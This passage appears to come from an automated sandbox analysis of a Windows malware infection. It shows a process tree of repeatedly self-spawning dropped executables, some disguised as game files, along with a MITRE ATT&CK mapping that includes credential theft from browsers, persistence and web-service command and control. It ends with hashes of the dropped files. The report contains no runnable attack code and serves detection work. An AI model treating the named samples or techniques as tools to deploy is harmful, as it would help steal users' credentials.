    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:10972
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:10980
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:10988
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:10996
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11004
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11012
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11020
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11028
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11036
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11044
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11052
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11060
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11068
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11076
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11084
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11092
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11100
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11108
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11116
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11124
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11132
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11140
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11148
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11156
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11164
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11172
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11180
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11188
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11196
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11204
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11212
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11220
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11228
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11236
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11244
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11252
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11260
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11272
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11280
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11288
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11296
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11304
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11312
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11320
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11328
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11336
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11344
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11352
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11360
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11368
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11376
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11384
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11392
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11400
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11408
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11416
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11424
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11432
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11440
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11448
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11456
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11464
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11472
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11480
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11488
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11496
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11504
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11512
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11520
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11528
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11536
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11544
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11552
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11560
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11568
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11576
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11584
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11592
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11600
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11608
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11616
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11624
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11632
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11640
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11648
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11656
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11664
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11672
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11680
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11688
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11696
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11704
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11712
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11720
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11728
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11736
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11744
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11752
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11760
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11768
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11776
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11784
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11792
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11800
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11808
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11816
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11824
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11832
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11840
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11848
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11856
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11864
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11872
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11880
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11888
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11896
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11904
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11912
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:11920
- C:\Users\Admin\AppData\Local\Temp\Files\World%20of%20Tanks.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\World%20of%20Tanks.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2928

C:\Users\Admin\AppData\Local\Terraria-Multiplayer-Fix-Online.exe
C:\Users\Admin\AppData\Local\Terraria-Multiplayer-Fix-Online.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
440cb38dbee06645cc8b74d51f6e5f71

SHA1
d7e61da91dc4502e9ae83281b88c1e48584edb7c

SHA256
8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

SHA512
3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4d8567f2d1c8a09bbfe613145bf78577

SHA1
f2af10d629e6d7d2ecec76c34bd755ecf61be931

SHA256
7437b098af4618fbcefe7522942c862aeaf39a0b82ce05b0797185c552f22a3c

SHA512
89130e5c514e33f5108e308f300614dc63989f3e6a4e762a12982af341ab1c5748dd93fd185698dcf6d3a1ea7234228d04ad962e4ee0a15a683e988f115a84ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ee9f1be5d4d351a5c376b370adcf0eea

SHA1
1779cecfb13c6a2f0f2813ae65d0d91ebdcf5583

SHA256
70600f0f93bca5f0548bfe5503513caadda31cbcd14dc007824b0925a8626e4b

SHA512
fda7345f64a6352e99bb3f5d94e58751a71d45a27147f60da32d12ff0307dbe416f482f1b9950e52ce63cbb5f0e5c1647f72dbb7a05c5419ccd8b7980ea86754

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4920f7bec7cdb8ac44637a6af9d2fc6f

SHA1
d4c5e3c9397926ec9bdaccdd955e89f5138b1816

SHA256
8cc607eab702c5690ee5d64f5d34add46b7093c23751506dad728853a434a277

SHA512
321e8178ebd08d680c6d1af467ab73e3055af8c8bb06ee81b1af46bd6718e5a060c339da5a281028c2557ab8d85172921e10363ccd8d411aa0e75f62119838d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\315827968.exe

Filesize
53KB

MD5
84897ca8c1aa06b33248956ac25ec20a

SHA1
544d5d5652069b3c5e7e29a1ca3eea46b227bbfe

SHA256
023ad16f761a35bd7934e392bcf2bbf702f525303b2964e97c3e50d2d5f3eda1

SHA512
c17d0e364cf29055dece3e10896f0bbd0ebdb8d2b1c15fe68ddcd9951dd2d1545362f45ad21f26302f3da2eb2ec81340a027cbd4c75cc28491151ecabae65e95

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\JEDITOR.INI

Filesize
69B

MD5
992b4ff8f71747662f8fd2bd6dafd027

SHA1
3367392d544a0518fd84d2c49635715e9d1028d7

SHA256
559cc0d314235aca4b88548a886abf821804cecaffbd6fc54939afe66804aba9

SHA512
80ef246e826dd211f7d0e0bb3698a89d92330fc9858d73a8529b9745f0564c2e0fcb813b8cbbeb1f8df690d047359d6275ba1d50c38b277329d7df5f6ab49f02

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE

Filesize
105KB

MD5
826c8ba6abcb7927c0356ff4cda7c493

SHA1
12b474213666f72e3cf21143a7b1e6cef47718e3

SHA256
f58d67cb6098c57fa59c2a8c654b72660498d01c40c1bdb2ea1edbd28bf6b162

SHA512
67b4664272ef72f58dcc82b745896d2d39bfeeaaeaa3056c24b61bbc1fcf2d75d504416ce7041e5d1aeda25891291b417db15ff4a6d99a8d03e1b03f482386f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\World%20of%20Tanks.exe

Filesize
72KB

MD5
b3520940042d52305df325050a95d98a

SHA1
41c423785a528937a3761004327e862743071529

SHA256
1d728a4c330add4b8a4196e1d698fd4c857a004ed5b51e5b97c6ddd5eb671490

SHA512
1e5e9bbe3244db95bfbda1a770c813a73e84bcc869c1b34627fb0b971094d0421b134f92160681759288bbb9387441242924811ba463c8abb2fc6647d424eb8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe

Filesize
69KB

MD5
d7e7388184d510f7fd4acc4cae6dc66e

SHA1
b6e6818288c1147aa34fed53cc0f4252c0d5d8b4

SHA256
f265d5394e8484ac12325631b752721a140091546c0aead0d6139e8ca4376cf3

SHA512
cf6e7f7b707bec6e951cdfef846b66a56579f4610a2889746fe6ba8b4166055f202f5d4eeaa56fa8a3e5e5c86f9996b25292d22feebc24584f0ba405e24d4990

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe

Filesize
249KB

MD5
a13b9dc73f11aabfcdfb1befce224f2c

SHA1
50215faa3e42ccb323309b031c3463a06b8841e8

SHA256
79f82d95f41daba0ae9a29096c1e13df67a8d544bd94240bb8c2a01b8849725d

SHA512
ba121ec401d1f025636bf6e82ab8b90b970e53fb32247b5d069d3abdee45fdb29495cebf176ec817ace3cd60de65218341de45075d384393e317d9e8b447688f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe

Filesize
731KB

MD5
7cd7bd7b855fb4c89818486930303c23

SHA1
866d236d0ead14107b82b04d3a03a96a8af6f6ae

SHA256
b45aad3cf4b75c3afb9fc6e496a33e0e67364f9e0bc484d1f467e86bc08cc413

SHA512
913f887d734d83126721bb0758a31aec2f476a4a20233a4931cbe7441a96140d062eb6febf3977327fedfbae6d5f827add0838887c5ea804599547b4717328aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\od.exe

Filesize
6.5MB

MD5
17ed6d1f2c94436b2c9711da860dc792

SHA1
7d63ec8b7581db639f60d417f36b79946d2095ad

SHA256
1762600d80df88a324452290a176bfab40ec965f5bb27be12a4cb71614b94c56

SHA512
52270196114a94e688edf6862f9b37aab2da7ea2094a310cbe497f90f5ebd1f39ddaabefeb506978796b4a2cdeb3a67a0ae376c09ec27bcc747209f305df552b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\t.exe

Filesize
79KB

MD5
0c883b1d66afce606d9830f48d69d74b

SHA1
fe431fe73a4749722496f19b3b3ca0b629b50131

SHA256
d921fc993574c8be76553bcf4296d2851e48ee39b958205e69bdfd7cf661d2b1

SHA512
c047452a23efad4262479fbfeb5e23f9497d7cefd4cbb58e869801206669c2a0759698c70d18050316798d5d939b989537fdce3842aa742449f5e08ed7fa60a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\workout.exe

Filesize
1.9MB

MD5
72ebec11ccd55653260df7025a419576

SHA1
3893ca3dd26ce07726b9fc0c925e0a0743f5716b

SHA256
73d4874602bf71147e9f348681c3e7431f12d2f8edfbe82a9807ff491d4bcc38

SHA512
be2869414ef5e70d8cf2ac46ee26f03a611f43e741d7a450197f269b558fa3d254f9f902be19aabaf8513572a4df91998f9553b2645092fd07d9a5fbb8590a17

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s0rnydum.tlq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
